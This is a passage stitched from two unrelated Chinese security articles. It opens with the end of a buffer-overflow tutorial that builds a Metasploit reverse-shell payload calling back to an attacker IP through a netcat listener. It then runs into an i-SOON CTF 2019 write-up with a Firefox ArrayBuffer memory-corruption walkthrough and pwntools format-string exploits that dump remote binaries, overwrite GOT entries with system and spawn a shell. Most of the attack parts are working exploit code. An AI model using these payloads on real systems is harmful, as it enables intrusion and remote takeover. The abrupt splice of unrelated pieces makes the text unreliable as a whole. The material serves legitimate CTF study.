2\. 在终端窗口A中运行下列命令，开启对端口8118的监听：
nc -l 8118 (on Linux)
3\. 在终端窗口B中运行下列命令：
EGG=python exploit_gen.py
echo GET /$EGG HTTP/1.0|nc VICTIM SERVERPORTNUM
**
**
**生成Shell代码**
在这一章节中，我会告诉大家如何生成我们的shell代码。我之所以要把这部分内容放在后面，是因为我感觉这一步骤实在是太无聊了。
为了生成Shell代码，我们还是得使用Metasploit。与之前一样，首先打开一个终端窗口，然后输入命令“msfconsole”，此时我们将会进入Metasploit的控制台。虽然网上有很多介绍Metasploit的文章，但是在这篇文章中我只会介绍现在所要使用的东西。简而言之，我们只需要运行下列命令，就可以生成我们的Shell代码了。
use linux/x86/shell_reverse_tcp
set LHOST AttackerIP (目标主机的IP地址)
set LPORT 8118
generate -t python -e x86/alpha_mixed
首先，我们要告诉Metasploit，我们要使用的exploit是shell_reverse_tcp。接下来，我们要设置需要进行攻击的目标主机IP地址，然后再设置需要监听的端口。请注意，不要使用默认的4444端口，因为可能已经有人正在监听这个端口了，所以我们在这里使用的是8118端口。最后，为了让我们所生成的Shell代码能够兼容Python，我们就要使用一个名为“alpha_mixed”的编码机制了，它可以帮助我们移除掉某些目标服务器无法识别的特殊字符。接下来，Metasploit会输出相应的Python代码，你可以直接将代码复制粘贴进我们的“exploit_gen.py”文件中。
“shell_reverse_tcp”中的代码是使用机器语言编写的，这也就意味着它的代码基本上都是操作码。这些操作码可以让计算机通过我们指定的IP地址和端口号来建立一个TCP/IP链接，然后帮助我们向目标主机中发送shell代码。采用机器语言编写的代码对我们来说是非常重要的，因为这样一来，我们在生成攻击代码时，就可以不用根据目标主机的情况来考虑我们所需使用的语言了。
**
**
**将** **所有生成的东西整合在一起**
既然我们已经制作好了“exploit_gen.py”文件，那么我们就可以像往常一样将该文件地址分配给“$EGG”变量了。那么接下来，打开两个单独的终端窗口，一个用来向目标Web服务器发送“$EGG”变量的内容，另一个用来控制Netcat去监听TCP
shell的返回信息。这些操作全部都可以在Kali Linux中完成：
终端A：
nc -l 8118 (这里的端口号需要与我们用来生成shell代码的端口相同)
终端B：
EGG=python exploit_gen.py
echo GET /$EGG HTTP/1.0|nc VictimIP 8888
如果一切顺利的话，你应该可以在运行了Netcat的那个终端中看到shell提示符了。话虽如此，但是事情总是不会进展得如此顺利的。在我的实验过程中，我从未在监听端口的过程中拿到过反向shell。如果你的情况与我一样，请你振作起来，因为我接下来会告诉你为什么会出现这种情况。
**
**
**深入分析**
在运行完这些命令，并将“$EGG”变量的内容发送至目标RedHat8服务器之后，进入目标主机然后检查它的核心文件，你将会得到如下图所示的信息：
那么你可能会问了，“Segmentation
fault”是什么意思呢？就我的经验来看，当某个程序尝试访问其沙箱之外的内存地址时，系统就会抛出这个错误。这种情况之所以会发生，更加确切地说，是因为当这个程序需要访问EIP寄存器中的数据时，寄存器地址指向的是一个无效指令。好的，那么接下来的问题是，地址0xbffffa0f到底有什么？结果我发现，这个地址指向的竟然是我shell代码的中间部分！实际上，我们可以通过“info
reg”命令来验证EIP寄存器中的信息，这个地址的确指向的是我的shell代码。
那么ESP寄存器中保存着什么呢？如下图所示：
**
**
**这意味着什么？**
其实我自己也不是很确定。但是在进行了一番分析之后，我可以确定的是，我的shell代码已经被执行了，但是可能在初始化TCP/IP链接的过程中遇到了一些小问题。我之所以可以确定shell代码得到了完整的执行，是因为ESP寄存器中的数据发生了改变，这也就意味着堆栈信息不知为何被返回了。我曾尝试过去验证这一想法，但是这确实很难。我只知道防火墙是无法阻止两台虚拟机之间的通信的，因为两台虚拟机之间是可以相互Ping通的。但是为什么防火墙会阻止一个TCP/IP
shell呢？
但是我在思考过后发现，这样想其实是完全错误的！于是我打开了我的笔记本电脑，然后尝试通过一台远程设备（一台Ubuntu
16.04主机）来重新对一台远程RedHat8服务器实施攻击。这就需要我们使用新的攻击主机IP地址来重新生成shell代码，然后将其复制粘贴进“exploit_gen.py”文件中。但是这里还存在一个问题—返回地址无法对齐。如果你还记得的话，我们可以导出“$EGG”变量的十六进制数据（使用命令“echo
$EGG | hexdump –C”）来进行验证：
虽然这只是一个小小的变化，但是这一次我们成功地拿到了shell！为什么会这样呢？有可能是因为虚拟机的设置有问题吧？说实话，我自己也不是很确定。如果有哪位同学知道的话，欢迎与我联系！
**
**
**结束语**
我希望这篇文章能够给各位渗透测试人员提供一种新的漏洞利用思路。在我们遇到问题时，我们不仅要尝试去解决问题，还要能够去思考问题背后的原因。感谢大家的阅读，希望各位能够喜欢！在下一篇文章中，我会给大家讲解如何绕过Windows的ASLR来拿到目标主机的shell，感兴趣的同学请锁定安全客！ | 社区文章 |
本文由 [@D0g3](https://www.d0g3.cn/about) 编写
i-SOON_CTF_2019 部分题目环境/源码
<https://github.com/D0g3-Lab/i-SOON_CTF_2019>
> 广告一波:
> H1ve 是一款自研 CTF 平台，同时具备解题、攻防对抗模式。其中，解题赛部分对 Web 和 Pwn 题型，支持独立题目容器及动态 Flag
> 防作弊。攻防对抗赛部分支持 AWD 一键部署，并配备炫酷地可视化战况界面。
> 该作品随着安洵杯比赛进程，逐步开源，敬请期待 [Github项目地址](https://github.com/D0g3-Lab/H1ve)
# Re
## crackme
1.main函数之前
程序HOOK了MessageBoxW函数，让其执行一个自己写的函数
2.main函数
输入一串字符串，并且执行了MessageBoxW函数，由于函数被IAT HOOK，执行了自己写的一个函数，在函数之中，改变了BASE64的字母表（大
小写互换）并且添加了异常VEH向量。
执行完函数之后，程序注册了一个SEH，并且触发异常。
3.异常
VEH
异常触发首先执行VEH向量，VEH向量进行了SM4的密钥初始化，并且注册了UnhandledExceptionFilter
SEH
进行了SM4加密
UnhandledExceptionFilter
改变了比较的结果，并且进行变种base64加密
异常回调
执行main函数的比较函数
解密脚本
from pysm4 import encrypt,decrypt
import base64
mk = 0x77686572655F6172655F755F6E6F773F
base_now="yzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/abcdefghijklmnopqrstuvwxi!"
base_init="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/i="
clear="1UTAOIkpyOSWGv/mOYFY4R!!"
clear_re=""
for i in range(len(clear)):
if(i%2==0):
clear_re+=clear[i+1]
else:
clear_re+=clear[i-1]
c=""
for i in range(len(clear_re)):
b=base_now.find(clear_re[i])
c+=base_init[b]
c=base64.b64decode(c)
c=int(c.encode("hex"),16)
clear_num=decrypt(c,mk)
clear_num=hex(clear_num)[2:-1].decode("hex")
print clear_num
## Easy Encryption
1.base64解密字符串：YXJ0cWtvZWhxcGtiaWh2
2.将固定字符串按照规则解密即可
字符串：**artqkoehqpkbihv**
解密如下：
#include <stdio.h>
#include <string.h>
#include <iostream>
using namespace std;
char base64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
char resl[] = "artqkoehqpkbihv";
//D0M3GVOMTOac
char Vignia(char a,int n,int* str1,int h)
{
return (((int)a - 97 + str1[n+h*15]) % 26 + 97) <= 122
? (char)(((int)a - 97 + str1[n+h*15]) % 26 + 97) :
(char)(((int)a - 97 + str1[n+h*15]) % 26 + 97 - 26);
}
int main()
{
int len,i, j;
int key1[1000];
char flag[30];
char tmp;
len = strlen(resl);
i = 0;
while (base64[i] != '\0')
{
key1[i] = (int)abs(base64[i] - 97);//取绝对值
i++;
}
for (int h = 4; h < len; h++)
{
for (j = 48; j < 126; j++)
{
for (i = 0; i < 4; i++)
{
if (Vignia((char)j, h, key1, i) != resl[h])
break;
flag[h] = (char)j;
}
}
}
for (int h = 0; h < 4; h++)
{
for (j = 48; j < 126; j++)
{
for (i = 0; i < 5; i++)
{
if (Vignia((char)j, h, key1, i) != resl[h])
break;
flag[h] = (char)j;
}
}
}
flag[len] = 0x00;
printf("%s", flag);
printf("\n");
return 0;
}#include <stdio.h>
#include <string.h>
#include <iostream>
using namespace std;
char base64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
char resl[] = "artqkoehqpkbihv";
//D0M3GVOMTOac
char Vignia(char a,int n,int* str1,int h)
{
return (((int)a - 97 + str1[n+h*15]) % 26 + 97) <= 122
? (char)(((int)a - 97 + str1[n+h*15]) % 26 + 97) :
(char)(((int)a - 97 + str1[n+h*15]) % 26 + 97 - 26);
}
int main()
{
int len,i, j;
int key1[1000];
char flag[30];
char tmp;
len = strlen(resl);
i = 0;
while (base64[i] != '\0')
{
key1[i] = (int)abs(base64[i] - 97);//取绝对值
i++;
}
for (int h = 4; h < len; h++)
{
for (j = 48; j < 126; j++)
{
for (i = 0; i < 4; i++)
{
if (Vignia((char)j, h, key1, i) != resl[h])
break;
flag[h] = (char)j;
}
}
}
for (int h = 0; h < 4; h++)
{
for (j = 48; j < 126; j++)
{
for (i = 0; i < 5; i++)
{
if (Vignia((char)j, h, key1, i) != resl[h])
break;
flag[h] = (char)j;
}
}
}
flag[len] = 0x00;
printf("%s", flag);
printf("\n");
return 0;
}
此处使用遍历的方式解题
flag： **umpnineissogood**
## Game
这个题目的主要考点是平坦化的去除
题目的加密很简单
输入，然后check1和check3对输入进行了加密处理
变换很简单
解题的关键就是找到原来的数独，和填好的数独，提取填好的数字，然后做check1中的逆向操作就可以得到flag
填入数独的数字为：4693641762894685722843556137219876255986
Flag为：KDEEIFGKIJ@AFGEJAEF@FDKADFGIJFA@FDE@JG@J
## leak info
1 触发漏洞，造成溢出
更加样本，修改其中一些部分，然后做到溢出部分修改了某个ArrayBuffer byteLength。
给出样本代码：
let buf = [];
for(var i = 0 ; i < 4 ;i++)
{
buf[i] = new ArrayBuffer(0x20);
}
var OOb_Object = buf[0];
var ChangeObject_Index = 0;
let buf_uint8 = new Uint8Array(OOb_Object);
let y = new Uint32Array(OOb_Object);
const v4 = [y, y, y, y, y];
function v7(v31) {
if (v4.length == 0) {
v4[3] = y;
}
const v11 = v4.pop();
v11[18] = 0xa0;
for (let v15 = 0; v15 < 10000; v15++) {}
}
var p = {};
p = [buf_uint8, y, y];
v4.__proto__ = p;
for (let v31 = 0; v31 < 2000; v31++) {
v7(v31);
}
for(var i = 0 ; i < 10 ; i++)
{
var len = buf[i].byteLength;
if( len != 0x20)
{
ChangeObject_Index = i;
break;
}
}
上面的过程，将触发漏洞修改到 buf[1] 的byteLength 部分。从原来的 0x20 修改为0xa0。
这样就获得一个溢出的ArrayBuffer 对象，如下图。
注意申请的ArrayBuffer在内存的布局，它们是连续的。
另外，使用windbg 进行调试的时候，内存十分庞大，用常规的 s –d 等指令搜索会很慢很慢。
这里建议使用 !address 命令，然后找到类似如下图的内存，这些内存就是一些零散的堆块，用来存放申请的对象等数据。
然后在某一个buf 设置一些特殊值，比如：0x67890001
使用
Notepad++ 的列编辑功能，把上图的地址直接一列抓出来
复制到下面这样的位置，然后复制全部的命令，粘贴到windbg
，进行搜索。
如下图，这样搜索起来，快很多
2.利用溢出的ArrayBuffer
使用长度被该为0xa0的ArrayBuffer
，修改到下一个ArrayBuffer的长度，改为0x90400，这就是一个非常长的ArrayBuffer对象。方便后面做 任意地址读写了。
为什么要用0xa0 的ArrayBuffer来做到这一步，为什么不在漏洞触发的时候，就把0xa0的长度写长一些呢？
这是因为，漏洞触发的时候，混淆的对象是 Uint8Array 与 Uint32Array，Uint8Array
对象每次只能写入一个Byte。所以修改的数据最大也只能是0xFF。
具体情况动手去分析就明白了。
3.任意地址读写
前面，已经有了一个byteLength 为0x90400的ArrayBuffer 。将这个ArrayBuffer初始化，可以初始化化为
Uint8Array，也可以是DataView ，或者Uint32Array。
下面来分析ArrayBuffer在内存中的布局情况(64位与32位是不同的)。
先看如下图：
下面对照上图进行说明：
00000290`390070a0 000001af04c10040 Group_ 结构 00000290`390070a8
00000290390085b0 Shape _结构
00000290`390070b0 0000000000000000 Slot_ 结构
00000290`390070b8 000007fee27b1d28 xul!mozilla_dump_image+0x22ea9b8 Element_
结构 00000290`390070c0 000001481c803870 数据区域指针，使用时要左移一位
00000290`390070c8 fff8800000000020 数据区域大小，byteLength 00000290`390070d0
fffe01af04c171c0 指向第一个视图的指针
00000290`390070d8 fff8800000000000 flag 位 00000290`390070e0 0000000000000000
数据部分
00000290`390070e8 0000000000000000 00000290`390070f0 0000000000000000
00000290`390070f8 0000000000000000
64位中特别的一点就是 ArrayBuffer 的数据指针是右移一位存放的，使用的时候需要左移一位。这里的数据指针就是：
0x000001481c803870 左移一位 –> 0x00000290`390070e0
做任意地址读写的时候，也需要把要读写的地址，右移一位，放到这个位置去。然后，进行再次进行初始化，就能使用初始化的对象，对这个地址进行读写了。再次进行初始化非常很关键，不要忘记了。
将地址移位的函数很简单，但是，要注意左移和右移的时候，如果地址没有对齐，就会存在丢位。即奇数地址右移就丢了1位，需要另外补齐丢失的。
另外注意的一点，如果初始化为 Uint32Array 进行地址读写的，读取的时候，因为是一个Dword进行读，假如要读取的地址是：
0x00FF123400FF56789 ，那么第一次高8位读取 00FF56789 ，但是 00 会被丢弃，读出的数据是 FF56789
；第二次低8位读取00FF1234 ，00也被丢弃，读取FF1234。那么，把读取的数据当字符串进行拼接： “FF1234”+ “FF56789” =
FF1234FF56789 ，与原地址00FF123400FF56789
不同的是缺少了高8位中丢弃的00。所以用Uint32Array进行读取需要补0。同样，使用Uint8Array 也存在这样的问题，00 会被当做 0
，也就缺少了一个0。
再次说明：读写地址的时候，先把地址右移一位，然后放到ArrayBuffer的buffer指针位置，
通过 0xa0 这个ArrayBuffer 对0x90400的ArrayBuffer的buffer指针进行操作。然后初始化。
4.任意对象泄露
任意对象的泄露，是方便后续劫持函数，构造fake Class_ 等数据结构的时候，有地方存放，而不是随便放到内存某个位置。
任意对象泄露，是通过Array数组来实现。
在申请ArrayBuffer的时候，紧接着申请一个Array，这个Array分配空间不能太长，太长就会分配到其他位置去。刚刚合适就好，它就会申请在
ArrayBuffer 附近，然后赋特殊值。
myArray[0] = 0x12273447;
myArray[1] = [];
内存中的情况，如下图：
myArray[0] 存放特殊值，用0x90400的ArrayBuffer 进行寻找。找到之后，取出特殊值后面一个Qword ，也就是myArray[1]
。myArray[1] 就可以用来存放任何对象，这样就能泄露任意对象的地址了。
5.最后
现在有了任意地址泄露，任意对象泄露，那么剩下的操作就是水到渠成啦。
可以通过 NativeObject 的 elements 去泄露xul的基地址。
然后通过寻找xul的导入表去泄露 VirtualProtect 地址，就不在赘述。
# Pwn
## Blindpwn-32位有偏移
首先没有题目,只有端口,连接上去,测试,发现,存在格式化字符串漏洞
然后同时也没有任何数据的回显,只是不断的重复循环,输出你输入的内容
这里需要注意的是,可以通过输入空格或者特殊字符来初步猜测的判断,输入函数是gets还是scanf还是read...因为这三者对于输入的数据的读取是不同的,就比如我本次输入1\n,它却显示了两个换行,那么这个很可能是read函数用来接收输入,但这里只能是猜测
那么,开始思考,我们目前没有任何有用的信息,该如何获取到有用的信息
这里就需要对于pwn进行盲打,dump整个程序下来...
然后根据dump下来的程序来寻找程序的地址,进行分析
同时因为上面输入%p 返回的是4个字节的数据,所以是32位程序
**dump程序**
**计算偏移**
dump程序需要首先知道格式化字符串函数的偏移
所以step 1--计算偏移
由于不喜欢手算,直接pwntools跑
#-*- coding:utf-8 –*- from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level='debug'
context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
elfFileName = "justtest"
libcFileName = ""
ip = "0.0.0.0"
port = 10001
Debug = 1
if Debug:
io = process(elfFileName)
else:
io = remote(ip,port)
# calculate the offset
def exec_fmt(payload):
io.recvuntil("\nPlease tell me:")
io.sendline(payload)
info = io.recvuntil("\n")
return info
auto = FmtStr(exec_fmt)
offset = auto.offset
print "offset is "+ str(offset)
io.interactive()
'''
[*] Found format string offset: 8
offset is 8
'''
我们这里要发现一个问题,就是这个计算偏移下来,存在一个问题就是,我们要保证偏移量足够,就一定要前面增加一个字节的垃圾数据...嘿嘿,这个出题思路很骚...
那么开始快乐的dump程序
**dump代码编写**
如果以文件尾作为dump结束的话,在挂载程序的时候可能出现无限泄露,可以考虑加上范围限制,这个要根据具体的情况考虑,这里暂时就无限泄露,ctrl+C断开
dump代码编写,其实有点头疼,因为其实对于数据处理来容易出现失误(输出的数据的尾巴,需要处理掉),网上有些博客上提供的dump脚本,有些都是错的...这里整理各位大佬的脚本,最后写出了一个比较合理的脚本
dump需要注意前面输出的内容,9个字节的Repeater:
#-*- coding:utf-8 –*- from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
p = process("./pwn1")
f = open("pwn1bin", "ab+")
begin = 0x8048000
offset = 0
#i=0
p.recvuntil('Please tell me:')
while True:#i<13:#True:#
addr = begin + offset
p.sendline("x%10$saaa" + p32(addr))
try:
#info = p.recv(4)
info = p.recvuntil('aaa',drop=True)[10:]
remain = p.recvrepeat(0.2)#weiba
print info.encode("hex")
print len(info)
except EOFError:
print "offset is " + str(offset)
break
if len(info)==0:
print "info is null"
offset += 1
f.write('\x00')
else:
info += "\x00"
offset += len(info)
f.write(info)
f.flush()
#i = i + 1
print "offset is " + str(offset)
f.close()
p.close()
前面可以先利用我设计的i来测试基地址,因为我们根本不知道这个程序的保护机制,所以我们没法知道是否开启了ASLR,那么测试基地址重要性,就来了,32位程序的基地址是0x8048000,如果在此地址上面,返回的数据的确是0x7F454C46,那么就是没有开启ASLR,如果开启了,那就需要爆破搜索到这些字符,也能同样的dump下来
然后其中有段`remain =
p.recvrepeat(0.2)#tail`这里很重要,就是为了读取前面截断数据后面输出的垃圾数据,这也是很多博客提供的脚本没法dump的原因...(不知道他们是如何dump的,可能有什么其它的骚操作?)
还有一个就是,读取的所有null,都应该转换为`\x00`,这样子就可以把scanf读取数据\x00截断的问题,给解决了
**dump程序的分析**
dump下来的程序是没法运行(没有SHT,dump下来的时候是通过EOF来进行判断结尾的,但是SHT的偏移是0x18dc但是程序运行的时候,是不会把这些数据载入到地址上的)
我们直接ida打开发现,还是可以分析的,很开心的
还行,就是plt/got表显示的残缺不全...但是其实还是可以找得到的...
如果对于ida逆向分析程序熟悉的,应该知道,start函数的倒数第二行的loc_804856B就是main函数的地址
那么双击点击进入,N
改名...发现出来的是前面那段输出的代码,其中后面的循环输出代码,没有出来,那么取消改名,nop掉一些ida无法解析的代码,改下面那段汇编代码的名字为main,ok
F5,快乐...
程序整体结构完全展示出来了,就差分析函数的作用了...这边直接根据左下角的导入函数列表来分析使用的函数功能就完事了
改名字后,整个结构其实是这样子的
OK,完全简单了...就是简单的格式化字符串漏洞了,写exp...
**exp**
printf函数的地址,直接利用plt/got的知识,寻找到就行...
* leak address
* use LibcSearcher to find libc
* getshell
写exp的时候注意,system函数是可以通过增加分号,来执行多条命令的
#-*- coding:utf-8 –*- from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
Debug = 1
if Debug:
io = process("./pwn1")
else:
io = remote('',)
#dump bin can not be loaded
#but can analysis
offset = 8
#step 1 leak the printf_got
#maybe plt 08048400
io.recvuntil('Please tell me:')
printf_got = 0x0804A014
payload_leak = 'x' + p32(printf_got) + "%8$s"
io.send(payload_leak)
libc_printf = u32(io.recv()[14:18])
print hex(libc_printf)
#step 2 find the libc
libc = LibcSearcher('printf',libc_printf)
libcbase = libc_printf - libc.dump('printf')
system_addr = libcbase + libc.dump('system')
#step 3 cover the address
payload_cover = 'x' + fmtstr_payload(8,{printf_got : system_addr},numbwritten=10)
io.sendline(payload_cover)
io.recv()
#step 4 get shell
io.sendline(";/bin/sh")
io.interactive()
参考链接
* [陌小生](https://www.xmsec.cc/format-string-leak-binary-blind-pwn/)
* [默小西](http://momomoxiaoxi.com/2017/12/26/Blindfmtstr/)
* [ctf-wiki](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_example-zh/#1-)
## Blindpwn-64位有偏移
首先没有题目,只有端口,连接上去,测试,发现,存在格式化字符串漏洞
然后同时也没有任何数据的回显,只是不断的重复循环,输出你输入的内容
这里需要注意的是,可以通过输入空格或者特殊字符来初步猜测的判断,输入函数是gets还是scanf还是read...因为这三者对于输入的数据的读取是不同的,就比如我本次输入`1\n`,它却显示了两个换行,那么这个很可能是read函数用来接收输入,但这里只能是猜测,因为read是最好的利用函数...
那么,开始思考,我们目前没有任何有用的信息,该如何获取到有用的信息
这里就需要对于pwn进行盲打,dump整个程序下来...
然后根据dump下来的程序来寻找程序的地址,进行分析
同时因为输入%p 返回的是8个字节的数据,所以是64位程序
**dump程序**
**计算偏移**
dump程序需要首先知道格式化字符串函数的偏移
所以step 1--计算偏移
由于不喜欢手算,直接pwntools跑,加
#-*- coding:utf-8 –*- from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
elfFileName = "./stilltest"
libcFileName = ""
ip = "0.0.0.0"
port = 10001
Debug = 1
if Debug:
io = process(elfFileName)
else:
io = remote(ip,port)
# calculate the offset
def exec_fmt(payload):
io.recvuntil("\nPlease tell me:")
io.sendline(payload)
info = io.recvuntil("\n")
return info
auto = FmtStr(exec_fmt)
offset = auto.offset
print "offset is "+ str(offset)
io.interactive()
'''
[*] Found format string offset: 8
offset is 8
'''
那么开始快乐的dump程序
**dump代码编写**
如果以文件尾作为dump结束的话,在挂载程序的时候可能出现无限泄露,可以考虑加上范围限制,这个要根据具体的情况考虑,这里暂时就无限泄露,ctrl+C断开
dump代码编写,其实有点头疼,因为其实对于数据处理来容易出现失误(输出的数据的尾巴,需要处理掉),网上有些博客上提供的dump脚本,有些都是错的...这里整理各位大佬的脚本,最后写出了一个比较合理的脚本
dump需要注意前面输出的内容,9个字节的Repeater:
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'#critical/debug
p = process("./stilltest")
f = open("stilltestbin", "ab+")
#f = open("64weiba", "ab+")
begin = 0x400000
offset = 0
i=0
p.recvuntil('Please tell me:')
while True:#i<13:#True:#
addr = begin + offset
p.sendline("%10$saabbccddeef" + p64(addr))
try:
#info = p.recv(4)
info = p.recvuntil('aabbccddeef',drop=True)[9:]
remain = p.recvrepeat(0.2)#recv the tail to dump in cicle
print info.encode("hex")
print len(info)
except EOFError:
print "offset is " + str(offset)
break
if len(info)==0:
print "info is null"
offset += 1
f.write('\x00')
else:
info += "\x00"
offset += len(info)
f.write(info)
f.flush()
#i = i + 1
print "offset is " + str(offset)
f.close()
p.close()
#'''
前面可以先利用我设计的i来测试基地址,因为我们根本不知道这个程序的保护机制,所以我们没法知道是否开启了ASLR,那么测试基地址重要性,就来了,64位程序的基地址是0x400000,如果在此地址上面,返回的数据的确是0x7F454C46,那么就是没有开启ASLR
然后其中有段`remain =
p.recvrepeat(0.2)#tail`这里很重要,就是为了读取前面截断数据后面输出的垃圾数据,这也是很多博客提供的脚本没法dump的原因...(不知道他们是如何dump的,可能有什么其它的骚操作?)
还有一个就是,读取的所有null,都应该转换为`\x00`,这样子就可以把scanf读取数据\x00截断的问题,给解决了
这个出现一个问题,就是偏移到了4096字节,就会报错
首先操作系统中分页上 512 * 8 = 4096个字节为一页,而且分析了很多不同的64位elf文件,发现有两个段之间的偏移会很大...你看
后面的段,从开始到文件结尾都是固定长度,但是我们一直dump,只能dump到这里,就会结束,因为一页,没了,那么后面的程序.got,.got.plt
和extern,如果愿意,也可以找到地址去dump到部分的地址值,最后根据plt/got表的格式进行分析,但是这太麻烦,需要分析文件头的结构中记录的地址偏移....(如果想要dump也可以用我的脚本,修改上你计算过的地址偏移,再把后面的数据dump下来,容易出问题,但是只要计算的值是对的,就没问题)
那么在这里,我们拿着残缺的程序,其实还是可以分析的...
**dump程序的分析**
dump下来的程序没法运行,同时载入的时候需要设置一下...
我们直接ida打开,找到代码段,分析汇编代码...
其实和分析32位程序一样的,虽然没法一下子找到start代码中对应的main的地址,但是我们通过分析汇编跳转,我们还是很容易找到,main函数的地址的...readelf
-h 读取elf header,找到start函数地址,然后找到main函数的地址
但是这里我们最好不要反汇编出来,因为真的没什么用,64位程序的参数都是放入寄存器的,分析汇编出结果,比分析反汇编出来的伪代码来的快
如果不改,直接分析汇编代码,仔细分析,根据提示.txt,还是可以看出结构的..
慢慢分析这个结构就出来了:慢慢自己改名字...这里为什么不要根据F5出来的结果来看参数,要看汇编代码来判断
循环,调用函数...emmm,确实头疼,要猜,要根据功能和提示,才能最后判断...
那么剩下的就是去找到不同函数的got表的地址,熟悉plt表和got原理就知道双击strlen.可以泄露strlen函数地址
OK,完全简单了...就是简单的格式化字符串漏洞了,写exp...
**exp**
写exp注意\x00截断
发现printf函数的地址是不能用来泄露的...
> 我发现问题出现在于printf函数的地址上,很多时候pwn题在载入的时候,这个函数的地址都会是被scanf
> printf函数给解析的,解析了他们地址上的特殊符号...所以这个真的不好用...只能最好找到替代品,puts函数,或者strlen函数...常见的是strlen函数和puts函数一直都是格式化字符串钟爱的使用漏洞点...
**源码**
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
int main(void){
//init
setbuf(stdout,0);
setbuf(stdin,0);
setbuf(stderr,0);
printf("Hello,I am a computer Repeater updated.\nAfter a lot of machine learning,I know that the essence of man is a reread machine!\n");
printf("So I'll answer whatever you say!\n");
char buf[257];
char format[300];
unsigned int len1 = 0;
while(1){
alarm(3);
memset(buf,0,sizeof(char)*257);
memset(format,0,sizeof(char)*300);
printf("Please tell me:");
read(0,buf,256);
sprintf(format,"Repeater:%s\n",buf);
len1 = strlen(format);
if(len1 > 270){
printf("what you input is really long!");
exit(0);
}
printf(format);
}
printf("game over!\n");
return 0;
}
解题思路还是和32位一样:
找到strlen函数的地址,直接利用plt/got的知识,寻找到就行...
* leak address
* use LibcSearcher to find libc
* getshell
**自己写的一个关键函数**
但是getshell cover覆盖地址的时候需要改变代码:(珍贵的反序函数代码用来把地址放在后面...纯手工冰粉,现做现卖...)
def antitone_fmt_payload(offset, writes, numbwritten=0, write_size='byte'):
config = {
32 : {
'byte': (4, 1, 0xFF, 'hh', 8),
'short': (2, 2, 0xFFFF, 'h', 16),
'int': (1, 4, 0xFFFFFFFF, '', 32)},
64 : {
'byte': (8, 1, 0xFF, 'hh', 8),
'short': (4, 2, 0xFFFF, 'h', 16),
'int': (2, 4, 0xFFFFFFFF, '', 32)
}
}
if write_size not in ['byte', 'short', 'int']:
log.error("write_size must be 'byte', 'short' or 'int'")
number, step, mask, formatz, decalage = config[context.bits][write_size]
payload = ""
payload_last = ""
for where,what in writes.items():
for i in range(0,number*step,step):
payload_last += pack(where+i)
fmtCount = 0
payload_forward = ""
key_toadd = []
key_offset_fmtCount = []
for where,what in writes.items():
for i in range(0,number):
current = what & mask
if numbwritten & mask <= current:
to_add = current - (numbwritten & mask)
else:
to_add = (current | (mask+1)) - (numbwritten & mask)
if to_add != 0:
key_toadd.append(to_add)
payload_forward += "%{}c".format(to_add)
else:
key_toadd.append(to_add)
payload_forward += "%{}${}n".format(offset + fmtCount, formatz)
key_offset_fmtCount.append(offset + fmtCount)
#key_formatz.append(formatz)
numbwritten += to_add
what >>= decalage
fmtCount += 1
len1 = len(payload_forward)
key_temp = []
for i in range(len(key_offset_fmtCount)):
key_temp.append(key_offset_fmtCount[i])
x_add = 0
y_add = 0
while True:
x_add = len1 / 8 + 1
y_add = 8 - (len1 % 8)
for i in range(len(key_temp)):
key_temp[i] = key_offset_fmtCount[i] + x_add
payload_temp = ""
for i in range(0,number):
if key_toadd[i] != 0:
payload_temp += "%{}c".format(key_toadd[i])
payload_temp += "%{}${}n".format(key_temp[i], formatz)
len2 = len(payload_temp)
xchange = y_add - (len2 - len1)
if xchange >= 0:
payload = payload_temp + xchange*'a' + payload_last
return payload;
else:
len1 = len2
**完整exp**
那么完整的exp对于增加了strlen函数的题目之后就是这样子了:
#-*- coding:utf-8 –*- from pwn import *
import time
from LibcSearcher import LibcSearcher
#context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
Debug = 1
if Debug:
io = process("./stilltest")
else:
io = remote('0.0.0.0',10003)
def antitone_fmt_payload(offset, writes, numbwritten=0, write_size='byte'):
config = {
32 : {
'byte': (4, 1, 0xFF, 'hh', 8),
'short': (2, 2, 0xFFFF, 'h', 16),
'int': (1, 4, 0xFFFFFFFF, '', 32)},
64 : {
'byte': (8, 1, 0xFF, 'hh', 8),
'short': (4, 2, 0xFFFF, 'h', 16),
'int': (2, 4, 0xFFFFFFFF, '', 32)
}
}
if write_size not in ['byte', 'short', 'int']:
log.error("write_size must be 'byte', 'short' or 'int'")
number, step, mask, formatz, decalage = config[context.bits][write_size]
payload = ""
payload_last = ""
for where,what in writes.items():
for i in range(0,number*step,step):
payload_last += pack(where+i)
fmtCount = 0
payload_forward = ""
key_toadd = []
key_offset_fmtCount = []
for where,what in writes.items():
for i in range(0,number):
current = what & mask
if numbwritten & mask <= current:
to_add = current - (numbwritten & mask)
else:
